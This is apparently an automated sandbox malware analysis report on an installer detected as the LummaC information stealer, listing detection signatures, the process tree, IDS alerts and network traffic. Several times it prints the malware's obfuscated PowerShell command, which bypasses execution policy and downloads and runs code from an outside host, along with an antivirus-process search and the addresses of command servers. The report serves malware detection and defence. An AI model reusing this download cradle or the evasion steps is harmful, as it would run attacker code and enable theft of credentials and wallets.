Edit tour

Windows Analysis Report
installer_1.05_36.4.exe

Overview

General Information

Sample name:	installer_1.05_36.4.exe
Analysis ID:	1581553
MD5:	911d5567537c6bb8413884309387bb54
SHA1:	4fb952a1e2aac681bee9a456f6ad13e55adc9522
SHA256:	24d8c5ef81f9c9a17eabb906829b89cf8680c49af58abf4ba3e743302c03c378
Tags:	exeuser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Found direct / indirect Syscall (likely to bypass EDR)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sigma detected: PowerShell Download and Execution Cradles

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to retrieve information about pressed keystrokes

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

installer_1.05_36.4.exe (PID: 7436 cmdline: "C:\Users\user\Desktop\installer_1.05_36.4.exe" MD5: 911D5567537C6BB8413884309387BB54)

cmd.exe (PID: 7484 cmdline: "C:\Windows\System32\cmd.exe" /c move Expected Expected.cmd & Expected.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7568 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7576 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7612 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7620 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7656 cmdline: cmd /c md 709182 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 7672 cmdline: extrac32 /Y /E Bet MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 7692 cmdline: findstr /V "brandon" M MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7708 cmdline: cmd /c copy /b ..\Effective + ..\Certificates + ..\Stones + ..\Harder + ..\Planners + ..\Suppose N MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Lightweight.com (PID: 7724 cmdline: Lightweight.com N MD5: 62D09F076E6E0240548C2F837536A46A)

powershell.exe (PID: 8112 cmdline: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 8120 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

MFL715GTQ6VLUD404.exe (PID: 928 cmdline: "C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" MD5: DE1A36E00E7B8348A47B59CD94514DD4)

MFL715GTQ6VLUD404.tmp (PID: 5580 cmdline: "C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$40478,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" MD5: A62041070E18901131CBBE7825EC4EC7)

MFL715GTQ6VLUD404.exe (PID: 7472 cmdline: "C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT MD5: DE1A36E00E7B8348A47B59CD94514DD4)

MFL715GTQ6VLUD404.tmp (PID: 7428 cmdline: "C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$5029A,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT MD5: A62041070E18901131CBBE7825EC4EC7)

timeout.exe (PID: 7204 cmdline: "timeout" 9 MD5: 100065E21CFBBDE57CBA2838921F84D6)

conhost.exe (PID: 7244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7512 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH | find /I "wrsa.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1880 cmdline: tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 3384 cmdline: find /I "wrsa.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5552 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH | find /I "opssvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3632 cmdline: tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5568 cmdline: find /I "opssvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 5900 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH | find /I "avastui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2720 cmdline: tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 7952 cmdline: find /I "avastui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7892 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH | find /I "avgui.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 3132 cmdline: tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 1712 cmdline: find /I "avgui.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 7092 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH | find /I "nswscsvc.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 2260 cmdline: tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 792 cmdline: find /I "nswscsvc.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

cmd.exe (PID: 6072 cmdline: "cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH | find /I "sophoshealth.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 908 cmdline: tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

find.exe (PID: 5160 cmdline: find /I "sophoshealth.exe" MD5: 4BF76A28D31FC73AA9FC970B22D056AF)

vsv_tool.exe (PID: 5144 cmdline: "C:\Users\user\AppData\Roaming\UltraMedia\vsv_tool.exe" MD5: C12ED31F29EF510393AE36661F44F102)

choice.exe (PID: 7740 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: vsv_tool.exe PID: 5144	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Sigma Signatures

System Summary

Sigma detected: PowerShell Download and Execution Cradles

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Lightweight.com N, ParentImage: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com, ParentProcessId: 7724, ParentProcessName: Lightweight.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8112, ProcessName: powershell.exe

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Lightweight.com N, ParentImage: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com, ParentProcessId: 7724, ParentProcessName: Lightweight.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8112, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Lightweight.com N, ParentImage: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com, ParentProcessId: 7724, ParentProcessName: Lightweight.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8112, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Lightweight.com N, ParentImage: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com, ParentProcessId: 7724, ParentProcessName: Lightweight.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8112, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: Lightweight.com N, ParentImage: C:\Users\user\AppData\Local\Temp\709182\Lightweight.com, ParentProcessId: 7724, ParentProcessName: Lightweight.com, ProcessCommandLine: powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; , ProcessId: 8112, ProcessName: powershell.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Expected Expected.cmd & Expected.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7484, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 7620, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T04:23:37.126694+0100	2028371	3	Unknown Traffic	192.168.2.4	49741	172.67.166.49	443	TCP
2024-12-28T04:23:39.149311+0100	2028371	3	Unknown Traffic	192.168.2.4	49742	172.67.166.49	443	TCP
2024-12-28T04:23:41.720271+0100	2028371	3	Unknown Traffic	192.168.2.4	49743	172.67.166.49	443	TCP
2024-12-28T04:23:44.875784+0100	2028371	3	Unknown Traffic	192.168.2.4	49744	172.67.166.49	443	TCP
2024-12-28T04:23:47.104716+0100	2028371	3	Unknown Traffic	192.168.2.4	49745	172.67.166.49	443	TCP
2024-12-28T04:23:49.440206+0100	2028371	3	Unknown Traffic	192.168.2.4	49746	172.67.166.49	443	TCP
2024-12-28T04:23:51.509812+0100	2028371	3	Unknown Traffic	192.168.2.4	49747	172.67.166.49	443	TCP
2024-12-28T04:23:53.752539+0100	2028371	3	Unknown Traffic	192.168.2.4	49748	172.67.166.49	443	TCP
2024-12-28T04:23:56.436719+0100	2028371	3	Unknown Traffic	192.168.2.4	49749	185.161.251.21	443	TCP
2024-12-28T04:23:58.548704+0100	2028371	3	Unknown Traffic	192.168.2.4	49752	104.21.37.128	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T04:23:37.884018+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49741	172.67.166.49	443	TCP
2024-12-28T04:23:39.925355+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49742	172.67.166.49	443	TCP
2024-12-28T04:23:54.543721+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49748	172.67.166.49	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T04:23:37.884018+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49741	172.67.166.49	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T04:23:39.925355+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49742	172.67.166.49	443	TCP

ET MALWARE Possible Windows executable sent when remote host claims to send a Text File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T04:23:59.468950+0100	2008438	1	A Network Trojan was detected	104.21.37.128	443	192.168.2.4	49752	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-28T04:23:50.201311+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49746	172.67.166.49	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cegu.shop/8574262446/ph.txt

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: installer_1.05_36.4.exe	ReversingLabs: Detection: 13%
Source: installer_1.05_36.4.exe	Virustotal: Detection: 26%			Perma Link

Source: installer_1.05_36.4.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.49:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.161.251.21:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.37.128:443 -> 192.168.2.4:49752 version: TLS 1.2

Source: installer_1.05_36.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2282601068.00000000029DE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: vsv_tool.exe, 00000031.00000002.3215135014.0000000043DF9000.00000004.00000020.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3224689649.0000000044150000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: vsv_tool.exe, 00000031.00000002.3215135014.0000000043DF9000.00000004.00000020.00020000.00000000.sdmp, vsv_tool.exe, 00000031.00000002.3224689649.0000000044150000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000010.00000002.2287601000.0000000006F95000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2287601000.0000000006FB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ystem.Management.Automation.pdb source: powershell.exe, 00000010.00000002.2287601000.0000000006F95000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_00406301 FindFirstFileW,FindClose,		0_2_00406301
Source: C:\Users\user\Desktop\installer_1.05_36.4.exe	Code function: 0_2_00406CC7 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_00406CC7

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\709182\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\709182	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49746 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49742 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49742 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49741 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49741 -> 172.67.166.49:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49748 -> 172.67.166.49:443

Source: Joe Sandbox View

IP Address: 185.161.251.21 185.161.251.21

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

